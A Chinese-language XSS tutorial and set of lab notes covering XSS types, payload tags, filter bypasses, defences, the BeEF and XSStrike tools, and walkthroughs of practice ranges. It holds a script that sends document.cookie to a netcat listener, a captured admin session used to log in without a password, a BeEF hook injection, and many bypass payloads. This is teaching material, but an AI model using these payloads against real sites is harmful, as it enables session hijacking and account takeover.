XSS基础

1.XSS种类:

反射(主动触发
dom(主动触发
存储型(被动触发

1.1.反射型

GET型
创造一触发xss的页面后让其他用户点击

?message = <script>alert(1)</script>
?meseage = </p><script>alert(1)</script><p>

POST型
在post date里输入攻击代码

1.2.存储型

一般会把代码放在数据库中,危害很大
每个点击的用户都会被动触发
多留言板、弹幕、论坛

h<script>alert(1)</script>aha

1.3.DOM型

dom型
和js有互动
DOM-xss-1
用js和前端进行互动

<a href=''>what do you see?</a>

法一
闭合写新标签

<a herf = '#'><img src = '#' onmouseover = "alert('xss')" '>what do you see?</a>
<a href = '#' onclick = "alert('1')">

法二
javascript协议

<a href='javascript:alert(1)'>what do you see?</a>

DOM-xss-x
输入一个参数会被页面上的某些js函数进行处理,处理后再显示到页面
这种情况需要对js处理函数进行分析,构造payload

<div if="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,'');
alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事随风吧,都随风吧</a>";
}
//payload
#'><img src='#' onmouseover = "alert(1)"
<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>

XSS盲打

猜测打后端
nc -lvp 4444 让nc监听4444端口
让nc监听4444端口 使用js在前端,创建⼀个img标签,链接地址是http://127.0.0.1:4444/haha?管理员cookie内容

<script>var img = document.createElement("img");img.src="http://127.0.0.1:4444/ haha?"+escape(document.cookie);</script>

haha?后⾯是 ant%5Buname%5D%3Dadmin%3B%20ant%5Bpw%5D%3D10470c3b4b1fed12c3baac014be15fac67 c6e815%3B%20PHPSESSID%3D7gs14u95sj83rprra2jtnekgk7

解码得到

GET /haha?ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=40m1vhef8ovjan1ojec5vgs8ln HTTP/1.1

就是管理员的cookie
发现referer http://127.0.0.1/vul/xss/xssblind/admin.php 也就是侦测到了管理员登录地址
在burp里访问http://127.0.0.1/vul/xss/xssblind/admin.php抓包,cookie修改为抓到的cookie,就可 以免密码登录后台了。

2.XSSpayload构造

2.1常用标签

<script>alert(1)</script>
<img src=x onerror="alert(1)">
<a href="javascript:alert(1)">123</a>
<body onload="alert(1)">
<div onclick="alert(1)">h</div>
<svg onload="alert(1)"></svg>
<object onclick="alert(1)">123</object>
<input type="text" onfocus="alert(1)" autofocus>
<iframe src="javascript:alert(1);"></iframe>
<button onclick="alert(1)">click!</button>
<details ontoggle="alert('xss');">

2.2常用on事件

onclick=点击触发
onload=加载触发
onerror=报错触发
onfocus=获得焦点触发
onblur=失去焦点触发
onmouseover=鼠标悬停
onkeydown= onkeypress= onkeyup= 键盘操作触发
onchange=内容改变触发
onscroll=滚动条滚动触发

2.3常用测试函数

src挖掘

console.log()

弹窗

alert()
confirm()
prompt()

4.常用绕过方式

1.大小写绕过
外部标签无视大小写,内部的js代码是大小写敏感的

<script>alert(1)</script>
<SCRIPT>alert(1)</scRiPT>

2.双写绕过

<scr<script>ipt>alert(1)</sc</script>ript>

3.注释绕过

<!--    -->
<scr<!-- abc -->ipt>alert</script>

4.过滤圆括号(),用反引号``替代

5.使用svg实体字符编码

<svg><script>alert&#40;1&#41;</script>

6.换行逃逸js匹配

7.单标签不写右标签

8.输入内容全大写- 远程js

9.使用长英语绕过

10.编码绕过

<>() 尝试单词或多次url编码
"[内容]" 双引号的内容尝试unicode编码
base64编码
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==></object>
unicode
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

11.payload长度受限

1.短域名
2.<svg/onload=alert(1)

12.jQuery截断绕过

$ms = 'abc';
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害');
}else{
// alert($ms);
$('fromjs').text('无论如何不要放弃心中所爱')
}

abc = ';alert(1);//
$ms = '';alert(1);//';
abc = '</script><script>alert(1)//

5.XSS危害与防御

XSS危害

盗取cookie

植入键盘记录器。

攻击受害者所在的局域网。

代理转发流经被攻击者的所有 Web 流量,即实施中间人攻击。

窃取或篡改应用 cookie 用于会话劫持。

更改被攻击者 Web 应用的显示内容。

绕过 CSRF 安全防护措施。

创建包含恶意 JavaScript 代码的虚假网站以及到该网站页面的链接。

发送嵌入恶意 Web URL 的电子邮件。

使用 URL 短码隐蔽真实 URL。

XSS防御
https://zhuanlan.zhihu.com/p/262038810

html回显内容在html页面标签之外时,实体化左右尖括号
html回显内容在<script>代码快时,实体化左右尖括号、“/”、单引号等可能闭合标签的字符
html回显内容通过postmessage作为输入点时 检测messageEvent的来源是否在白名单内,同时检测来源数据是否合法,是否存在恶意代码

6.XSS平台

1.beef-xsss

1.安装登录

安装beef-xss

sudo apt update
beef-xss 之后默认走流程
beef-xss打开
127.0.0.1:3000/ui/authentication登录

img
默认用户名beef 密码pass

2.使用

src 连接到本地beef-xss

<script src="http://192.168.89.129:3000/hook.js"></script>

img

运行后beef-xss上线
img

找到对方的前端代码,然后插入自己的js攻击代码
Current Browser → Commands 可以运行多种命令
img
img
上线的浏览器会弹窗

2.xss.pt

https://xss.pt/xss.php
创建项目
img
选择相应模式后会返回payload
将payload运行
img

7.常用工具推荐

1.XSStrike

项目地址:https://github.com/s0md3v/XSStrike

python xsstrike.py


usage: xsstrike.py [-h] [-u TARGET] [--data DATA] [-t THREADS] [--seeds SEEDS] [--json] [--path]
[--fuzzer] [--update] [--timeout] [--params] [--crawl] [--blind]
[--skip-dom] [--headers] [--proxy] [-d DELAY] [-e ENCODING]

optional arguments:
-h, --help show this help message and exit
-u, --url target url
--data post data
-f, --file load payloads from a file
-t, --threads number of threads
-l, --level level of crawling
-t, --encode payload encoding
--json treat post data as json
--path inject payloads in the path
--seeds load urls from a file as seeds
--fuzzer fuzzer
--update update
--timeout timeout
--params find params
--crawl crawl
--proxy use prox(y|ies)
--blind inject blind xss payloads while crawling
--skip skip confirmation dialogue and poc
--skip-dom skip dom checking
--headers add headers
-d, --delay delay between requests

使用测试
img
img

2.XSSpayload

一种xss fuzz爆破方式
https://github.com/TheKingOfDuck/easyXssPayload
放入payload看弹窗数字确定payload行数。

3.Burpsuite XSS Validator插件

1.安装

1.phantomjs下载
http://phantomjs.org/download.html
将phantomjs所在的bin目录添加到环境变量
下载xss.js,将其放到和phantomjs.exe一个目录中
https://github.com/NetSPI/xssValidator/blob/master/xss-detector/xss.js

运行

phantomjs.exe xss.js

2.安装插件
img

2.使用

1.用bp抓包send to intruder

2.配置变量

3.配置GREP-MATCH

4.启动扫描
参考文章:
burpsuite插件xssValidator的安装及使用(XSS自动扫描工具)

8.参考文章

XSS CSRF SSRF
Xss Bypass备忘录

9.靶场练习

1.XSS靶场1-haozi

0x00 -直接script标签

function render (input) {
return '<div>' + input + '</div>'
}
<script>alert(1)</script>

0x01 -双标签中间输入-闭合双标签

function render (input) {
return '<textarea>' + input + '</textarea>'
}
</textarea><script>alert(1)</script><textarea>

0x02 - 单标签输入-闭合单标签

function render (input) {
return '<input type="name" value="' + input + '">'
}
"><script>alert(1)</script>

0x03 - 过滤圆括号-反引号替代括号

匹配去除()
可以用反引号替换括号

function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
<script>alert`1`</script>

0x04 -过滤括号+反引号 svg实体字符编码

匹配括号和反引号,用svg实体字符编码
编码可以找gpt

function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
<svg><script>alert&#40;1&#41;</script>
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script>
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>

0x05 –!>闭合注释

可以用–!>注释

function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
--!><script>alert(1)</script>

0x06 - 通过换行逃逸正则表达式逃逸

正则表达式只匹配一行
屏蔽auto和on开头接上=在一行的内容

function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
onmouseover
=alert(1)

0x07 - 单标签可以不写右标签

所有单标签可以只写左标签,不写右标签

function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
<img src=x onerror=“alert(1)"

0x08 - 标签换行逃避正则表达式

前端标签的括号可以换行写

function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
</style
><script>alert(1)</script>

0x09 - 存在指定内容的闭合

function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
http://www.segmentfault.com" onload="alert(1)
http://www.segmentfault.com"></script><img src=x onerror="alert(1)

0x0A-C 出不来结果,现代的浏览器一般都不允许这种语法

0x0A - @远程JS

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
http://www.segmentfault.com@http://127.0.0.1/abc.js

0x0B -@ 大写远程JS

所有输入的内容都变成大写-通过远程链接到JS

function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
http://www.segmentfault.com@http://127.0.0.1/ABC.JS
<img src=x onerror='&#97;&#108;&#101;&#114;&#116;(1)'>

0x0C - 双写+大写+远程

大写后屏蔽script标签
双写绕过

function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
<scriscriptpt src="http://127.0.0.1/ABC.JS"></scscriptript>

0x0D 多次换行逃逸

屏蔽< / “ ‘

function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
xxxxx
alert(1)
-->

0x0E -长英语逃逸

<后如果是字母加一个_
如果目标把我们所有的输入都大写了,就不可以用js语法力,js语法大小写敏感,但是js标签大小随意.
输入的长英语经过大写后变成大写S

function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
<ſcript src="http://127.0.0.1/ABC.JS"></script>
<ſvg/onload='&#97;&#108;&#101;&#114;&#116;(1)'>

0x0F -img标签冗余;

适用于旧版本浏览器

function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
');alert(1)//

0x10-js可以换行不加分号

js换行不加分号也行

function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
213
alert(1)

0x11-闭合+注释

// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
xx");alert(1);//

0x12 - 闭合+注释

// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
\");alert(1);
//

2.chuanzhi7靶场

http://chanzhi7.njhack.xyz/www/

尝试对搜索框进行XSS漏洞挖掘
首先右键查看页面源码,找到注入点

<input type='text' name='words' id='words' value='[注入点]' class='form-control' placeholder='' /> 
http://chanzhi7.njhack.xyz/www/index.php/search-index-[注入点]1.html

想要对其进行闭合注入等,但是经实验发现环境对<>”等都有屏蔽, 尝试进行编码,看看编码后结果

<input type='text' name='words' id='words' value='  x'><img                             
' class='form-control' placeholder='' />

进行一次编码后,结果时Bad Request

http://chanzhi7.njhack.xyz/www/index.php/search-index-%78%27%3e%3c%69%6d%67-1.html
http://chanzhi7.njhack.xyz/www/index.php/search-index-x'><img-1.html

进行第二次编码后,发现正常,得知我们需要2次编码才可以绕过。

http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%37%38%25%32%37%25%33%65%25%33%63%25%36%39%25%36%64%25%36%37-1.html

则尝试

<input type='text' name='words' id='words' value=' abc' onmouseover='alert(1) ' class='form-control' placeholder='' />进行两次编码
结果成功
http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%36%31%25%36%32%25%36%33%25%32%37%25%32%30%25%36%66%25%36%65%25%36%64%25%36%66%25%37%35%25%37%33%25%36%35%25%36%66%25%37%36%25%36%35%25%37%32%25%33%64%25%32%37%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39-1.html

尝试让页面进入就弹窗

http://chanzhi7.njhack.xyz/www/index.php/search-index-%25%37%38%25%32%37%25%32%30%25%32%66%25%33%65%25%32%35%25%33%33%25%36%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%36%35%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%35%25%33%33%25%36%33%25%32%35%25%33%32%25%36%36%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%30%25%32%35%25%33%37%25%33%34%25%32%35%25%33%33%25%36%35%25%33%63%25%36%39%25%36%64%25%36%37%25%32%30%25%37%33%25%37%32%25%36%33%25%33%64%25%32%37-1.html

3.XSS靶场

1.xss基础

http://192.168.10.151/xss/level1.php?name=<script>alert(1)</script>

2.闭合

审查页面元素
test的地方是注入点,尝试闭合注入

<input name="keyword" value="test">
<input name="keyword" value="test">
"><img src=x onerror="alert(1)"
<input name="keyword" value=""><img src=x onerror="alert(1)"">

3.单引号闭合

查看页面源码

<input name=keyword  value=''>	
<input name="keyword" value=''  onmouseover=alert`1`">
x' onclick = alert(1) //

4.闭合

x" onclick=alert(1)//

5.闭合+链接

x"><a href="javascript:alert(1)" 

6.大小写绕过

屏蔽on , src , href

x"><img SrC=x Onerror=alert(1) //

7.双写绕过

x"><img SSrcrC=x OOnnerror=alert(1) //

8.unicode编码绕过

遇到javascript和 on则会替换_

1.对C进行unicode编码
javaS&#99;ript:alert(1)
2.对javascript整体进行编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)

9.合法url审核,加//http://

提示url不合法,需要在输入的内容后面写http://使得内容合法
javascript:alert(1) 进行实体字符编码,然后xxxxx //http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

10.get传入参数,尝试闭合,type=””

查看页面源码
未显示传入方式,默认是GET
对t_link,t_history,t_sort对尝试传入参数查看反应

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和well done!相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>

发现只有t_sort有反应

http://192.168.10.151/xss/level10.php?keyword=t_link=1&t_history=2&t_sort=3 
<input name="t_sort" value="3" type="hidden">

必须要加个type = “” ,有type就会有显示内容,否则会被hidden

http://192.168.10.151/xss/level10.php?keyword=aaaaa&t_link=1&t_history=2&t_sort=" type="" onclick=alert(1) //
http://192.168.10.151/xss/level10.php?keyword=t_link=1&t_history=2&t_sort=3
<input name="t_sort" value=" " type=" " onclick=alert(1) // " type="hidden">